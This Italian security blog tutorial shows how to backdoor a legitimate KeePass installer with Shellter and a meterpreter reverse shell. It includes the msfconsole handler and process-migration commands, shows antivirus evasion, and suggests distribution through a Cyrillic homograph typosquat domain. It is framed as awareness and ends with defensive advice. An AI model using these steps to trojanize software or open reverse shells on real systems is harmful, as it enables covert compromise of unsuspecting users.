Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca

Sotto Attacco: Come rendere un eseguibile scaricabile da internet un malware potentissimo

Manuel Roccon : 21 Dicembre 2023 08:27

Nello scorso articolo avevamo visto come un documento word possa avere comportamenti inaspettati anche malevoli. Con l’utilizzo di macro e un po’ di social engineering può indurre la vittima ad aprire un file e trovarsi un attaccante in casa.

In questo articolo analizzeremo un altra situazione che potrebbero capitare, il fatto di scaricare un installazione non perfettamente autentica che dia accesso al nostro dispositivo a un attaccante, alla fine per capire tutti i meccanismi e tecniche che ci potrebbero essere dietro.

Camufferemo all’interno di una installazione legittimo una reverse shell per permettere a un attaccante di entrare nel dispositivo una volta aperto dalla vittima. La vittima non si accorgerà di nulla. In seguito vedremo come potremmo distribuire questo falso software.

Prenderò come esempio la scorsa notizia su KeePass che recentemente è stato vittima di un caso analogo, utilizzando anche una tecnica di Typosquatting che vedremo dopo. Per chi non sapesse la tecnica di Typosquatting, è una tecnica di social engineering che ha lo scopo di confondere la vittima nel credere che il sito sia autentico includendo dei caratteri simili negli url di navigazione rispetto URL originale.

Iniziamo

Per prima cosa scarichiamo l’eseguibile che ci fungerà da esca, scarichiamo l’installazione di Keepass dal sito ufficiale e carichiamola nella nostra macchina Kali Linux, dove andremo a modificare eseguibile per renderlo offensivo.

La nostra installazione fungerà da esca mentre utilizzeremo SHELLTER (SHELL7ER) per inserirci il codice malevolo, in particolare del codice per attivare una reverse shell. Shellter è un ottimo strumento che consente l’inserimento dinamico di shellcode/payload in un Portable Executable (PE).

Questo strumento infetterà il PE con il tuo codice dannoso modificando il flusso di esecuzione dell’applicazione di destinazione con un approccio dinamico unico. Tuttavia non altera la struttura originale del PE né apporta modifiche alla memoria che verranno rilevate dalla scansione antivirus. Questo è importante in quanto consente l’infezione di file eseguibili benigni che altrimenti sarebbero innocui e garantisce che contengano voci dannose che possono ingannare le protezioni antivirus e non essere rilevate.

Se non è presente nella macchina Kali è necessario istallarlo (apt install shellter) ed è necessario installare anche Wine (sudo apt install wine). La configurazione di Wine potrebbe essere più complessa quindi invito nel guardare qualche link in rete prima. Quindi avviamo Shellter, si avvierà una finestra separata dalla shell in cui abbiamo lanciato il comando.

Ora ci chiederà in che modalità procedere, diamo l’opzione A (Auto). A questo punto indichiamo il percorso e file da elaborare che abbiamo precedentemente scaricato dal sito ufficiale e caricato nella nostra macchina Kali.

Ora diamo semplicemente invio, importante considerare che shellter andrà a modificare il file nella posizione originale con in payload malevolo, però prima farà una copia di backup in questa directory come nel esempio.

Dopo aver analizzato esegubile, dare invio.

Ora è necessario attendere in questa fase Shellter andà ad effettuare alcune operazione tecniche

Una volta completato attiviamo la modalità Stealth premendo “Y”.

Ora ci chiederà quale Payload includere, se usare quelli proposti o qualcosa di Custom, quindi utilizziamo l’opzione 1. L’opzione 1 inserirà nel eseguibile il client meterpreter in modo che possiamo prendere il controllo della vittima con MetasSploit, un noto framework tuttofare in abito Hacking.

Quindi diamo L (Listed) e successivamente 1 per selezionare il primo Payload.

A questo punto Shellter chi chiederà IP e la porta che verrà utilizzato per connettersi al server (in questo caso la nostra macchina Kali) una volta avviato l’eseguibile. Quindi inseriamo il nostro IP e porta in cui ricevere le richieste dalle vittime.

A questo punto eseguirà altre operazioni tecniche nel file per includere il nostro payload configurato con i parametri che precedentemente ci aveva richiesto.

Se tutto è andato regolare dovrebbe essere apparsa una schermata del genere.

Prepariamoci a ricevere le connessioni

Ora che la nostra esca è preparata possiamo avviare il nostro server che accetterà le richieste dalle vittime. Avendo scelto di inserire il client meterpreter, avviamo una sessione in ascolto sulla nostra kali linux.

msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 192.168.218.128;set LPORT 4444;run"

Perfetto adesso il nostro server è pronto ad accettare connessioni dalle vittime.

Ora portiamo l’eseguibile nella nostra macchine di test e vediamo cosa succede aprendola

Prediamo il controllo della vittima

Una volta aperto il file, ci restituirà un avviso sul autore. In realtà a mio parere questo non è un allarme cosi evidente quindi sicuramente la vittima lo avvierà senza troppe domande.

Questo avviso però sarà la chiave per capire che il software è stato “contraffatto”, dopo capiamo nel approfondimento di cosa si tratta..

Proseguendo cliccando su SI il nostro setup dovrebbe partire e lasciarci installare il software come normalmente dovrebbe fare.

A parte il messaggio iniziale, la vittima a questo punto è già stata compromessa.

Spostiamoci sulla macchina kali e vediamo che mentre la vittima sta installandosi il suo bel programma noi abbiamo ottenuto una shell della sua macchina.

La shell in realtà è partita già dal primo messaggio che ci avvisava che autore non era verificato.

Antivirus

Come nel nostro precedente articolo testiamo eseguibile sia con una scansione che tramite real time protection e sfortunatamente non viene rilevato.

Possiamo anche provare a caricare installazione su VirusTotal per vedere quanti endpoint rilevino la minaccia. Nel momento in cui abbiamo caricato il file possiamo vedere che sono veramente pochi, 11 su 72.

https://www.virustotal.com/gui/file/bc5d71bdbb2d948007d07f78147124a21700f4593b8214b46e20c200591f91bc?nocache=1

Firma

Come avevamo scritto prima, Windows ci informava che qualcosa non andava.

Infatti se verifichiamo le proprietà dei 2 file, ci accorgiamo che quello originale ha la firma digitale mentre l’altro è stata rimossa, motivo per cui viene generato il primo messaggio sul autore sconosciuto.

La firma viene inserita per garantire immutabilità del file e garantirne l’autore, shellter avendolo modificato ha rimosso e invalidato questa informazione.

Approfondimento

Come abbiamo visto il nostro obiettivo lo abbiamo centrato. Però cosa succede se chiudo il software o viene completata l’installazione? Bene se la vittima chiude il software/installazione perderemo il contatto con la nostra vittima.

Il problema è che il Thread che viene eseguito per stabilire il contatto con il nostro server dipende dalla vita dell’eseguibile stesso. Per cui una volta chiuso il processo principale si chiude anche la nostra shell remota.

Per questo motivo possiamo “Migrare” questa attività in un altro processo di sistema evitando la chiusura. Questo comando al nostro server in ascolto che farà eseguire il processo che controlla la shell eseguita nella vittima fuori dal eseguibile avviato.

set AutoRunScript post/windows/manage/migrate;

Possiamo vedere che dopo l’apertura del eseguibile, vengono fatte delle attività in piu che permettono, è chiaro che l’eseguibile deve almeno stare aperto fino alla fine delle operazioni di migrazione.

Possiamo vedere che il processo è stato migrato nel processo con nome “Notepad.exe”

Distribuzione

Un idea sulla distribuzione di questo “malware”, come avevo accennato, potrebbe essere quella che l’attaccante utilizzi una tecnica di social engineering chiamata Typosquatting accennata precedentemente.

L’attaccante potrebbe creare un sito analogo, registrando un dominio con caratteri simili e poi pubblicizzarlo. Per esempio keepass.info potrebbe diventare кeepass.info e non destare molta preoccupazione, avendo sostituito la “k” con il carattere cirillico “к”. Allo stato attuale il dominio è anche libero e registrabile.

Conclusione

In questo articolo abbiamo visto come sia possibile modificare un eseguibile con un tool per poter prendere il controllo della macchina di una vittima senza troppa fatica. Inoltre abbiamo analizzato come un aggressore potrebbe distribuirlo.

E’ buona norma porre sempre attenzione quando si scaricano eseguibili, controllando nel possibile che siano autentici e verificare ogni messaggio che potrebbe farci sospettare dell’autenticità del software, avere le ultime patch di sicurezza e un antivirus agiornato.

Manuel Roccon
Ho iniziato la mia carriera occuparmi nella ricerca e nell’implementazioni di soluzioni in campo ICT e nello sviluppo di applicazioni. Al fine di aggiungere aspetti di sicurezza in questi campi, da alcuni anni ho aggiunto competenze inerenti al ramo offensive security (OSCP), occupandomi anche di analisi di sicurezza e pentest in molte organizzazioni.